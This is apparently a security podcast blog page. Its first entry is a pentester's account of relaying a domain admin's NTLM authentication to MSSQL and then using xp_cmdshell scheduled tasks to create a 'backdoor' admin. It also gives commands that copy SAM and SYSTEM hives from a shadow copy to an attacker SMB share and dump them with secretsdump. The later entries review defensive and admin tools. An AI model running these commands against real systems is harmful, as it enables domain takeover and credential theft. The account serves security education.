7MS #692: Tales of Pentest Pwnage – Part 76

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else:

I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/.

I relayed the DA account to a SQL box that BloodHound said had a "session" from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance".

Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy.

In the end, the bizarre combo of things that did the trick was:

  • Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!'
  • From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\
  • From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL!
  • Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed!
  • I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!!
  • Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

7MS #649: First Impressions of Twingate

7MS #649: First Impressions of Twingate

Today we take a look at a zero-trust / ditch-your-VPN solution called Twingate (not a sponsor but we'd like them to be)! It also doubles nicely as a primary or backup connection for your DIY pentest dropboxes which we've talked about quite a bit here. In other news, we've moved from Teachable to Coursestack, so if you've bought training/ebooks with us before, you should've received some emails from us last Friday and can access our new training portal here. (If you THINK you should've received enrollment emails from CourseStack and didn't, drop us a line here.) In the tangent portion of our program, I give a health update on my mom and dad, and talk about some resources I'm exploring to reduce stress and anxiety after what has been a tough week for many of us.

7MS #648: First Impressions of Level.io

Hey friends, today I'm sharing my first (and non-sponsored) impressions of Level.io, a cool tool for managing Windows, Mac and Linux endpoints. It fits a nice little niche in our pentest dropbox deployments, it has an attractive price point and their support is fantastic.

7MS #646: Baby's First Incident Response with Velociraptor

7MS #646: Baby's First Incident Response with Velociraptor

Hey friends, today I'm putting my blue hat on and dipping my toes in incident response by way of playing with Velociraptor, a very cool (and free!) tool to find evil in your environment. Perhaps even better than the price tag, Velociraptor runs as a single binary you can deploy to spin up a server and then request endpoints to "phone home" to you by way of GPO scheduled task. The things I talk about in this episode and show in the YouTube stream are all based off of this awesome presentation from Eric Capuano, who also was kind enough to publish a handout to accompany the presentation. And on a personal note, I wanted to share that Velociraptor has got me interested in jumping face first into some tough APT labs provided by XINTRA. More to come on XINTRA's offering, but so far I'm very impressed!

7MS #644: Tales of Pentest Pwnage – Part 64

Hey! I'm speaking in Wanatchee, Washington next week at the NCESD conference about 7 ways to panic a pentester! Today's tale of pentest pwnage is a great reminder to enumerate, enumerate, enumerate! It also emphases that cracking NETLM/NETNTLMv1 isn't super easy to remember the steps for (at least for me) but this crack.sh article makes it a bit easier!
